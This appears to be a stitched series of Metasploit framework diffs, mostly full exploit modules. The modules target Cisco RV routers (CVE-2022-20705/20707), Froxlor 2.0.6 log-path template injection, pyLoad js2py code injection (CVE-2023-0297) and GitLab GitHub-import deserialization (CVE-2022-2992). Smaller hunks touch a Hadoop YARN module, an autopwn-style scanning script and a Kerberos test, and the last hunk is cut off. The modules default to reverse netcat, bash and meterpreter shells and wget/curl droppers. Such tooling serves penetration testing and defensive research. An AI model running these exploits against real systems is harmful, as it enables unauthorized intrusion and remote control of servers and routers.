class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco RV Series Authentication Bypass and Command Injection',
'Description' => %q{
This module exploits two vulnerabilities, a session ID directory traversal authentication
bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), on Cisco RV160, RV260, RV340,
and RV345 Small Business Routers, allowing attackers to execute arbitrary commands with www-data user privileges.
This access can then be used to pivot to other parts of the network. This module works on firmware
versions 1.0.03.24 and below.
},
'License' => MSF_LICENSE,
'Platform' => ['linux', 'unix'],
'Author' => [
'Biem Pham', # Vulnerability Discoveries
'Neterum', # Metasploit Module
'jbaines-r7' # Inspired from cisco_rv_series_authbypass_and_rce.rb
],
'DisclosureDate' => '2021-11-02',
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'References' => [
['CVE', '2022-20705'], # Authentication Bypass
['CVE', '2022-20707'], # Command Injection
['ZDI', '22-410'], # Authentication Bypass
['ZDI', '22-411'] # Command Injection
],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => {
'BadChars' => '\'#'
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Type' => :linux_dropper,
'Payload' => {
'BadChars' => '\'#'
},
'CmdStagerFlavor' => [ 'wget', 'curl' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base path', '/'])
]
)
end
# sessionid utilized later needs to be set to length
# of 16 or exploit will fail. Tested with lengths
# 14-17
def generate_session_id
return Rex::Text.rand_text_alphanumeric(16)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => '/upload',
'headers' => {
'Cookie' => 'sessionid =../../www/index.html; sessionid=' + generate_session_id
}
}, 10)
# A proper "upload" will trigger file creation. So the send_request_cgi call
# above is an incorrect "upload" call to avoid creating a file on disk. The router will return
# status code 405 Not Allowed if authentication has been bypassed by the above request.
# The firmware containing this authentication bypass also contains the command injection
# vulnerability that will be abused during actual exploitation. Non-vulnerable
# firmware versions will respond with 403 Forbidden.
if res.nil?
return CheckCode::Unknown('The device did not respond to request packet.')
elsif res.code == 405
return CheckCode::Appears('The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.')
elsif res.code == 403
return CheckCode::Safe('The device is not vulnerable to exploitation.')
else # Catch-all
return CheckCode::Unknown('The target responded in an unexpected way. Exploitation is unlikely.')
end
end
def execute_command(cmd, _opts = {})
res = send_exploit(cmd)
# Successful unix_cmd shells should not produce a response.
# However if a response is returned, check the status code and return
# Failure::NotVulnerable if it is 403 Forbidden.
if target['Type'] == :unix_cmd && res&.code == 403
fail_with(Failure::NotVulnerable, 'The target responded with 403 Forbidden and is not vulnerable')
end
if target['Type'] == :linux_dropper
fail_with(Failure::Unreachable, 'The target did not respond') unless res
fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200
begin
body_json = res.get_json_document
fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
fail_with(Failure::UnexpectedReply, 'Failed to parse the response returned from the server! Its possible the response may not be JSON!')
end
end
print_good('Exploit successfully executed.')
end
def send_exploit(cmd)
filename = Rex::Text.rand_text_alphanumeric(5..12)
fileparam = Rex::Text.rand_text_alphanumeric(5..12)
input = Rex::Text.rand_text_alphanumeric(5..12)
# sessionid utilized later needs to be set to length
# of 16 or exploit will fail. Tested with lengths
# 14-17
sessionid = Rex::Text.rand_text_alphanumeric(16)
filepath = '/tmp/upload.input' # This file must exist and be writeable by www-data so we just use the temporary upload file to prevent issues.
pathparam = 'Configuration'
destination = "'; " + cmd + ' #'
multipart_form = Rex::MIME::Message.new
multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"')
multipart_form.add_part(filename, nil, nil, 'form-data; name="filename"')
multipart_form.add_part(pathparam, nil, nil, 'form-data; name="pathparam"')
multipart_form.add_part(fileparam, nil, nil, 'form-data; name="fileparam"')
multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"')
multipart_form.add_part(input, 'application/octet-stream', nil, format('form-data; name="input"; filename="%<filename>s"', filename: filename))
# Escaping "/tmp/upload/" folder that does not contain any other permanent files
send_request_cgi({
'method' => 'POST',
'uri' => '/upload',
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'headers' => {
'Cookie' => 'sessionid =../../www/index.html; sessionid=' + sessionid
},
'data' => multipart_form.to_s
}, 10)
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 120)
end
end
end
@@ -0,0 +1,263 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Froxlor Log Path RCE',
'Description' => %q{
Froxlor v2.0.6 and below suffer from a bug that allows authenticated users to change the application logs path
to any directory on the OS level which the user www-data can write without restrictions from the backend which
leads to writing a malicious Twig template that the application will render. That will lead to achieving a
remote command execution under the user www-data.
},
'Author' => [
'Askar', # discovery
'jheysel-r7' # module
],
'References' => [
[ 'URL', 'https://shells.systems/author/askar/'],
[ 'CVE', '2023-0315']
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Privileged' => false,
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Linux ',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'CmdStagerFlavor' => ['wget'],
'Type' => :linux_dropper,
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
},
'DisclosureDate' => '2023-01-29'
)
)
register_options(
[
OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']),
OptString.new('PASSWORD', [true, 'A specific password to authenticate with', '']),
OptString.new('TARGETURI', [true, 'The base path to the vulnerable Froxlor instance', '/froxlor']),
OptString.new('WEB_ROOT', [true, 'The webroot ', '/var/www/html'])
]
)
end
def login
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php'),
'keep_cookies' => true,
'vars_post' => {
'loginname' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'send' => 'send',
'dologin' => ''
}
)
if res && (res.code == 302 && res.headers.include?('Location') && res.headers['Location'] == 'admin_index.php')
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/admin_index.php'),
'keep_cookies' => true
)
print_good('Successful login')
true
else
false
end
end
def check
begin
@authenticated = login
rescue InvalidRequest, InvalidResponse => e
return Exploit::CheckCode::Unknown("Failed to authenticate to Froxlor: #{e.class}, #{e}")
end
version_url = '/lib/ajax.php?action=updatecheck&theme=Froxlor'
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, version_url),
'keep_cookies' => true
)
if res.nil? || res.code != 200
Exploit::CheckCode::Unknown("Failed to retrieve version info from #{normalize_uri(target_uri.path, version_url)}")
else
version = res.get_html_document.at('body/span/text()')
if version
if Rex::Version.new('2.0.6') >= Rex::Version.new(version)
Exploit::CheckCode::Appears("Vulnerable version found: #{version}")
end
else
Exploit::CheckCode::Detected("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}")
end
end
end
def get_csrf_token(url)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, url),
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, "Failed to get csrf token from #{normalize_uri(target_uri.path, url)}") unless (!res.nil? || res.code == 200)
csrf_token = res.get_html_document.at('//input[@name="csrf_token"]/@value')&.text
fail_with(Failure::UnexpectedReply, "No CSRF token found when querying #{normalize_uri(target_uri.path, url)}.") unless csrf_token
print_good("CSRF token is : #{csrf_token}")
csrf_token
end
def change_log_path(new_logfile)
mime = Rex::MIME::Message.new
mime.add_part('0', nil, nil, 'form-data; name="logger_enabled"')
mime.add_part('1', nil, nil, 'form-data; name="logger_enabled"')
mime.add_part('2', nil, nil, 'form-data; name="logger_severity"')
mime.add_part('file', nil, nil, 'form-data; name="logger_logtypes[]"')
mime.add_part(new_logfile, nil, nil, 'form-data; name="logger_logfile"')
mime.add_part('0', nil, nil, 'form-data; name="logger_log_cron"')
mime.add_part(@csrf_token, nil, nil, 'form-data; name="csrf_token"')
mime.add_part('overview', nil, nil, 'form-data; name="page"')
mime.add_part('', nil, nil, 'form-data; name="action"')
mime.add_part('send', nil, nil, 'form-data; name="send"')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin_settings.php?'),
'vars_get' => { 'page' => 'overview', 'part' => 'logging' },
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)
if res && res.code == 200 && res.body.include?('The settings have been successfully saved')
return true
end
false
end
def execute_command(cmd, _opts = {})
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/admin_index.php'),
'keep_cookies' => true,
'vars_post' => {
'theme' => "{{['#{cmd}']|filter('exec')}}",
'csrf_token' => @csrf_token,
'page' => 'change_theme',
'send' => 'send',
'dosave' => ''
}
)
if res && res.code == 302 && res.headers['Location']
if res.headers['Location'] == 'admin_index.php'
print_good('Injected payload successfully')
print_status("Changing log path back to default value while triggering payload: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")
change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")
end
else
print_error('did not inject payload successfully')
end
end
def exploit
fail_with(Failure::NoAccess, 'Failed to login') unless @authenticated || login
@csrf_token = get_csrf_token('/admin_settings.php?page=overview&part=logging')
if change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
print_good("Changed logfile path to: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
else
print_error('Please enter valid target')
end
else
fail_with(Failure::UnexpectedReply, 'Failed to change the log path. The target might not be exploitable')
end
end
def on_new_session(session)
super
# Original footer.html.twig file
footer_html_twig = <<~EOF
<footer class="text-center mb-3">
<span>
<img src="{{ basehref|default("") }}templates/Froxlor/assets/img/logo_grey.png" alt="Froxlor"/>
{% if install_mode is not defined %}
{% if (get_setting('admin.show_version_login') == '1'
and area == 'login') or (area != 'login'
and get_setting('admin.show_version_footer') == '1') %}
{{ call_static('\\Froxlor\\Froxlor', 'getFullVersion') }}
{% endif %}
{% endif %}
&copy; 2009-{{ "now"|date("Y") }} by <a href="https://www.froxlor.org/" rel="external" target="_blank">the Froxlor Team</a><br>
{% if install_mode is not defined %}
{% if (get_setting('panel.imprint_url') != '') %}<a href="{{ get_setting('panel.imprint_url') }}" target="_blank" class="footer-link">{{ lng('imprint') }}</a>{% endif %}
{% if (get_setting('panel.terms_url') != '') %}<a href="{{ get_setting('panel.terms_url') }}" target="_blank" class="footer-link">{{ lng('terms') }}</a>{% endif %}
{% if (get_setting('panel.privacy_url') != '') %}<a href="{{ get_setting('panel.privacy_url') }}" target="_blank" class="footer-link">{{ lng('privacy') }}</a>{% endif %}
{% endif %}
</span>
{% if lng('translator') %}
<br/>
<small class="mt-3">{{ lng('panel.translator') }}: {{ lng('translator') }}</small>
{% endif %}
</footer>
EOF
if session.type == 'meterpreter'
print_status('Deleting tampered footer.html.twig file')
filename = "#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig"
session.fs.file.rm(filename)
fd = session.fs.file.new(filename, 'wb')
print_status('Rewriting clean footer.html.twig file')
fd.write(footer_html_twig)
fd.close
else
print_status('Cleaning tampered footer.html.twig file')
# Remove all log lines added to footer.html.twig by the exploit
# (all log lines start with an opening square bracket ex: [2023-02-16 09:08:28] froxlor.INFO: [API] ...)
session.shell_command_token("sed '/^\\[/d' #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig > #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")
session.shell_command_token("mv -f #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")
session.shell_command_token("rm #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")
end
end
end
@@ -14,8 +14,8 @@ class MetasploitModule < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'Hadoop YARN ResourceManager Unauthenticated Command Execution',
'Description' => %q{
This module uses built-in functionality to execute arbitrary commands on an unsecured Hadoop server which is not configured for strong
authentication, via Hadoop's standard ResourceManager REST API.
This module uses Hadoop's standard ResourceManager REST API to execute arbitrary commands on an unsecured Hadoop server.
Hadoop administrators should enable Kerberos authentication for these endpoints by changing the 'hadoop.security.authentication' setting in 'core-site.xml' from 'simple' (the default) to 'kerberos' before exposing the node to the network.
},
'License' => MSF_LICENSE,
'Author' =>
@@ -26,8 +26,11 @@ class MetasploitModule < Msf::Exploit::Remote
'References' =>
[
['URL', 'http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn']
# Note, there will never be a CVE for this issue, unless something radical changes in the CVE inclusion rules.
['URL', 'https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn'],
# Note, there will never be a CVE for this issue, since this is a misconfiguration by the administrator rather than a vulnerability in the software.
# Hadoop installations should always configure Kerberos authentication before being exposed to the network,
# since the default configuration does not require authentication.
['URL', 'https://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
@@ -0,0 +1,149 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/stopwatch'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'pyLoad js2py Python Execution',
'Description' => %q{
pyLoad versions prior to 0.5.0b3.dev31 are vulnerable to Python code injection due to the pyimport
functionality exposed through the js2py library. An unauthenticated attacker can issue a crafted POST request
to the flash/addcrypted2 endpoint to leverage this for code execution. pyLoad by default runs two services,
the primary of which is on port 8000 and can not be used by external hosts. A secondary "Click 'N' Load"
service runs on port 9666 and can be used remotely without authentication.
},
'Author' => [
'Spencer McIntyre', # metasploit module
'bAu' # vulnerability discovery
],
'References' => [
[ 'CVE', '2023-0297' ],
[ 'URL', 'https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/' ],
[ 'URL', 'https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad' ],
[ 'URL', 'https://github.com/pyload/pyload/commit/7d73ba7919e594d783b3411d7ddb87885aea782d' ] # fix commit
],
'DisclosureDate' => '2023-01-13',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'python'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_PYTHON],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper
}
],
[
'Python',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Type' => :python_exec
}
],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options([
Opt::RPORT(9666),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
sleep_time = rand(5..10)
_, elapsed_time = Rex::Stopwatch.elapsed_time do
execute_python("import time; time.sleep(#{sleep_time})")
end
vprint_status("Elapsed time: #{elapsed_time} seconds")
unless elapsed_time > sleep_time
return CheckCode::Safe('Failed to test command injection.')
end
CheckCode::Appears('Successfully tested command injection.')
rescue Msf::Exploit::Failed
return CheckCode::Safe('Failed to test command injection.')
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
if execute_command(payload.encoded)
print_good("Successfully executed command: #{payload.encoded}")
end
when :python_exec
execute_javascript("pyimport builtins;pyimport base64;builtins.exec(base64.b64decode(\"#{Base64.strict_encode64(payload.encoded)}\"));")
when :linux_dropper
execute_cmdstager
end
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
# use the js2py pyimport command to import the os module to execute a command, use base64 to avoid character issues
# using popen instead of system ensures that the request is not blocked
javascript = "pyimport os;pyimport sys;pyimport base64;_=base64.b64decode(\"#{Base64.strict_encode64(cmd)}\");os.popen(sys.version_info[0] < 3?_:_.decode('utf-8'));"
execute_javascript(javascript)
end
def execute_python(python)
# use the js2py pyimport command to import the builtins module to access exec, use base64 to avoid character issues
javascript = "pyimport builtins;pyimport base64;builtins.exec(base64.b64decode(\"#{Base64.strict_encode64(python)}\"));"
execute_javascript(javascript)
end
def execute_javascript(javascript)
# https://github.com/pyload/pyload/blob/7d73ba7919e594d783b3411d7ddb87885aea782d/src/pyload/core/threads/clicknload_thread.py#L153
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'flash', 'addcrypted2'),
'vars_post' => {
'crypted' => '',
'jk' => "#{javascript}f=function f2(){};"
}
)
# the command will either cause the response to timeout or return a 500
return if res.nil?
return if res.code == 500 && res.body =~ /Could not decrypt key/
fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}")
end
end
@@ -21,10 +21,12 @@ class MetasploitModule < Msf::Exploit::Remote
},
'Author' => [
'Ron Bowes', # Analysis and module
'Frycos (Florian Hauser)' # Discovery and analysis
],
'References' => [
['CVE', '2023-0669'],
['URL', 'https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis'],
['URL', 'https://frycos.github.io/vulns4free/2023/02/06/goanywhere-forgotten.html']
],
'DisclosureDate' => '2023-02-01',
'License' => MSF_LICENSE,
@@ -0,0 +1,256 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Git::SmartHttp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HTTP::Gitlab
include Msf::Exploit::RubyDeserialization
attr_accessor :cookie
def initialize(info = {})
super(
update_info(
info,
'Name' => 'GitLab GitHub Repo Import Deserialization RCE',
'Description' => %q{
An authenticated user can import a repository from GitHub into GitLab.
If a user attempts to import a repo from an attacker-controlled server,
the server will reply with a Redis serialization protocol object in the nested
`default_branch`. GitLab will cache this object and
then deserialize it when trying to load a user session, resulting in RCE.
},
'Author' => [
'William Bowling (vakzz)', # discovery
'Heyder Andrade <https://infosec.exchange/@heyder>', # msf module
'RedWay Security <https://infosec.exchange/@redway>', # PoC
],
'References' => [
['URL', 'https://hackerone.com/reports/1679624'],
['URL', 'https://github.com/redwaysecurity/CVEs/tree/main/CVE-2022-2992'], # PoC
['URL', 'https://gitlab.com/gitlab-org/gitlab/-/issues/371884'],
['CVE', '2022-2992']
],
'DisclosureDate' => '2022-10-06',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('USERNAME', [true, 'The username to authenticate as', nil]),
OptString.new('PASSWORD', [true, 'The password for the specified username', nil]),
OptInt.new('IMPORT_DELAY', [true, 'Time to wait from the import task before try to trigger the payload', 5]),
OptAddress.new('URIHOST', [false, 'Host to use in GitHub import URL'])
]
)
deregister_options('GIT_URI')
end
def group_name
@group_name ||= Rex::Text.rand_text_alpha(8..12)
end
def api_token
@api_token ||= gitlab_create_personal_access_token
end
def session_id
@session_id ||= Rex::Text.rand_text_hex(32)
end
def redis_payload(cmd)
serialized_payload = generate_ruby_deserialization_for_command(cmd, :net_writeadapter)
gitlab_session_id = "session:gitlab:#{session_id}"
# A RESP array of 3 elements (https://redis.io/docs/reference/protocol-spec/)
# The command set
# The gitlab session to load the payload from
# The Payload itself. A Ruby serialized command
"*3\r\n$3\r\nset\r\n$#{gitlab_session_id.size}\r\n#{gitlab_session_id}\r\n$#{serialized_payload.size}\r\n#{serialized_payload}"
end
def check
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie
vprint_status('Trying to get the GitLab version')
version = Rex::Version.new(gitlab_version)
return CheckCode::Safe("Detected GitLab version #{version} which is not vulnerable") unless (
version.between?(Rex::Version.new('11.10'), Rex::Version.new('15.1.6')) ||
version.between?(Rex::Version.new('15.2'), Rex::Version.new('15.2.4')) ||
version.between?(Rex::Version.new('15.3'), Rex::Version.new('15.3.2'))
)
report_vuln(
host: rhost,
name: name,
refs: references,
info: [version]
)
return CheckCode::Appears("Detected GitLab version #{version} which is vulnerable.")
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error::AuthenticationError
return CheckCode::Detected('Could not detect the version because authentication failed.')
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
return CheckCode::Unknown("#{e.class} - #{e.message}")
end
def cleanup
super
return unless @import_id
gitlab_delete_group(@group_id, api_token)
gitlab_revoke_personal_access_token(api_token)
gitlab_sign_out
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
print_error("#{e.class} - #{e.message}")
end
def exploit
if Rex::Socket.is_internal?(srvhost_addr)
print_warning("#{srvhost_addr} is an internal address and will not work unless the target GitLab instance is using a non-default configuration.")
end
setup_repo_structure
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
on_request_uri(cli, req)
end,
'Path' => '/'
}
})
execute_command(payload.encoded)
rescue Timeout::Error => e
fail_with(Failure::TimeoutExpired, e.message)
end
def execute_command(cmd, _opts = {})
vprint_status("Executing command: #{cmd}")
# due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set
self.cookie = gitlab_sign_in(datastore['USERNAME'], datastore['PASSWORD']) unless cookie
vprint_status("Session ID: #{session_id}")
vprint_status("Creating group #{group_name}")
# We need group id for the cleanup method
@group_id = gitlab_create_group(group_name, api_token)['id']
fail_with(Failure::UnexpectedReply, 'Failed to create a new group') unless @group_id
@redis_payload = redis_payload(cmd)
# import a repository from GitHub
vprint_status('Importing a repository from GitHub')
@import_id = gitlab_import_github_repo(
group_name: group_name,
github_hostname: get_uri,
api_token: api_token
)['id']
fail_with(Failure::UnexpectedReply, 'Failed to import a repository from GitHub') unless @import_id
# wait for the import tasks to finish
select(nil, nil, nil, datastore['IMPORT_DELAY'])
# execute the payload
send_request_cgi({
'uri' => normalize_uri(target_uri.path, group_name),
'method' => 'GET',
'keep_cookies' => false,
'cookie' => "_gitlab_session=#{session_id}"
})
rescue Msf::Exploit::Remote::HTTP::Gitlab::Error => e
fail_with(Failure::Unknown, "#{e.class} - #{e.message}")
end
def setup_repo_structure
blob_object_fname = "#{Rex::Text.rand_text_alpha(5..10)}.txt"
blob_data = Rex::Text.rand_text_alpha(5..12)
blob_object = Msf::Exploit::Git::GitObject.build_blob_object(blob_data)
tree_data =
{
mode: '100644',
file_name: blob_object_fname,
sha1: blob_object.sha1
}
tree_object = Msf::Exploit::Git::GitObject.build_tree_object(tree_data)
commit_obj = Msf::Exploit::Git::GitObject.build_commit_object(tree_sha1: tree_object.sha1)
git_objs = [ commit_obj, tree_object, blob_object ]
@refs =
{
'HEAD' => 'refs/heads/main',
'refs/heads/main' => commit_obj.sha1
}
@packfile = Msf::Exploit::Git::Packfile.new('2', git_objs)
end
# Handle incoming requests from GitLab server
def on_request_uri(cli, req)
super
headers = { 'Content-Type' => 'application/json' }
data = {}.to_json
case req.uri
when %r{/api/v3/rate_limit}
headers.merge!({
'X-RateLimit-Limit' => '100000',
'X-RateLimit-Remaining' => '100000'
})
when %r{/api/v3/repositories/(\w{1,20})}
id = Regexp.last_match(1)
name = Rex::Text.rand_text_alpha(8..12)
data = {
id: id,
name: name,
full_name: "#{name}/name",
clone_url: "#{get_uri.gsub(%r{/+$}, '')}/#{name}/public.git"
}.to_json
when %r{/\w+/public.git/info/refs}
data = build_pkt_line_advertise(@refs)
headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-advertisement' })
when %r{/\w+/public.git/git-upload-pack}
data = build_pkt_line_sideband(@packfile)
headers.merge!({ 'Content-Type' => 'application/x-git-upload-pack-result' })
when %r{/api/v3/repos/\w+/\w+}
bytes_size = rand(3..8)
data = {
'default_branch' => {
'to_s' => {
'bytesize' => bytes_size,
'to_s' => "+#{Rex::Text.rand_text_alpha_lower(bytes_size)}\r\n#{@redis_payload}"
# using a simple string format for RESP
}
}
}.to_json
end
send_response(cli, data, headers)
end
end
+10 -8
View File
@@ -46,9 +46,7 @@ else
end
# Test and see if we have a database connected
begin
framework.db.hosts
rescue ::ActiveRecord::ConnectionNotEstablished
unless framework.db.active
print_error("Database connection isn't established")
return
end
@@ -80,6 +78,10 @@ print_line("starting discovery scanners ... stage 1")
print_line("============================================")
print_line("")
# Temp variable to store space separated RHOSTS
nmap_rhosts = framework.datastore['RHOSTS'].gsub(',',' ')
run_single("set RHOSTS #{nmap_rhosts}")
print_line("")
print_line("starting portscanners ...")
print_line("")
@@ -90,11 +92,11 @@ run_single("run -j")
if ( nmap == 1 )
print_line("Module: db_nmap")
if (verbose == 1)
print_line("Using Nmap with the following options: -v -n #{nmapopts} #{framework.datastore['RHOSTS']}")
run_single("db_nmap -v -n #{nmapopts} #{framework.datastore['RHOSTS']}")
print_line("Using Nmap with the following options: -v -n #{nmapopts} #{nmap_rhosts}")
run_single("db_nmap -v -n #{nmapopts} #{nmap_rhosts}")
else
print_line("Using Nmap with the following options: -n #{nmapopts} #{framework.datastore['RHOSTS']}")
run_single("db_nmap -n #{nmapopts} #{framework.datastore['RHOSTS']}")
print_line("Using Nmap with the following options: -n #{nmapopts} #{nmap_rhosts}")
run_single("db_nmap -n #{nmapopts} #{nmap_rhosts}")
end
else
print_line("Module: portscan/tcp")
@@ -613,7 +615,7 @@ framework.db.workspace.hosts.each do |host|
jobwaiting(maxjobs,verbose)
print_line("Module: titanftp_xcrc_traversal")
run_single("use auxiliary/admin/ftp/titanftp_xcrc_traversal")
run_single("use auxiliary/scanner/ftp/titanftp_xcrc_traversal")
if(verbose == 1)
infos(serv,host)
end
@@ -124,10 +124,10 @@ RSpec.describe Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter do
Addresses: 0
Authdatas: 0
Times:
Auth time: 2022-11-28 15:51:29 +0000
Start time: 2022-11-28 15:51:29 +0000
End time: 2032-11-25 15:51:29 +0000
Renew Till: 2032-11-25 15:51:29 +0000
Auth time: #{Time.parse('2022-11-28 15:51:29 +0000').to_time}
Start time: #{Time.parse('2022-11-28 15:51:29 +0000').to_time}
End time: #{Time.parse('2032-11-25 15:51:29 +0000').to_time}
Renew Till: #{Time.parse('2032-11-25 15:51:29 +0000').to_time}
Ticket:
Ticket Version Number: 5
Realm: WINDOMAIN.LOCAL
@@ -157,10 +157,10 @@ RSpec.describe Rex::Proto::Kerberos::CredentialCache::Krb5CcachePresenter do
Addresses: 0
Authdatas: 0
Times:
Auth time: 2022-11-28 15:51:29 +0000
Start time: 2022-11-28 15:51:29 +0000
End time: 2032-11-25 15:51:29 +0000
Renew Till: 2032-11-25 15:51:29 +0000
Auth time: #{Time.parse('2022-11-28 15:51:29 +0000').to_time}
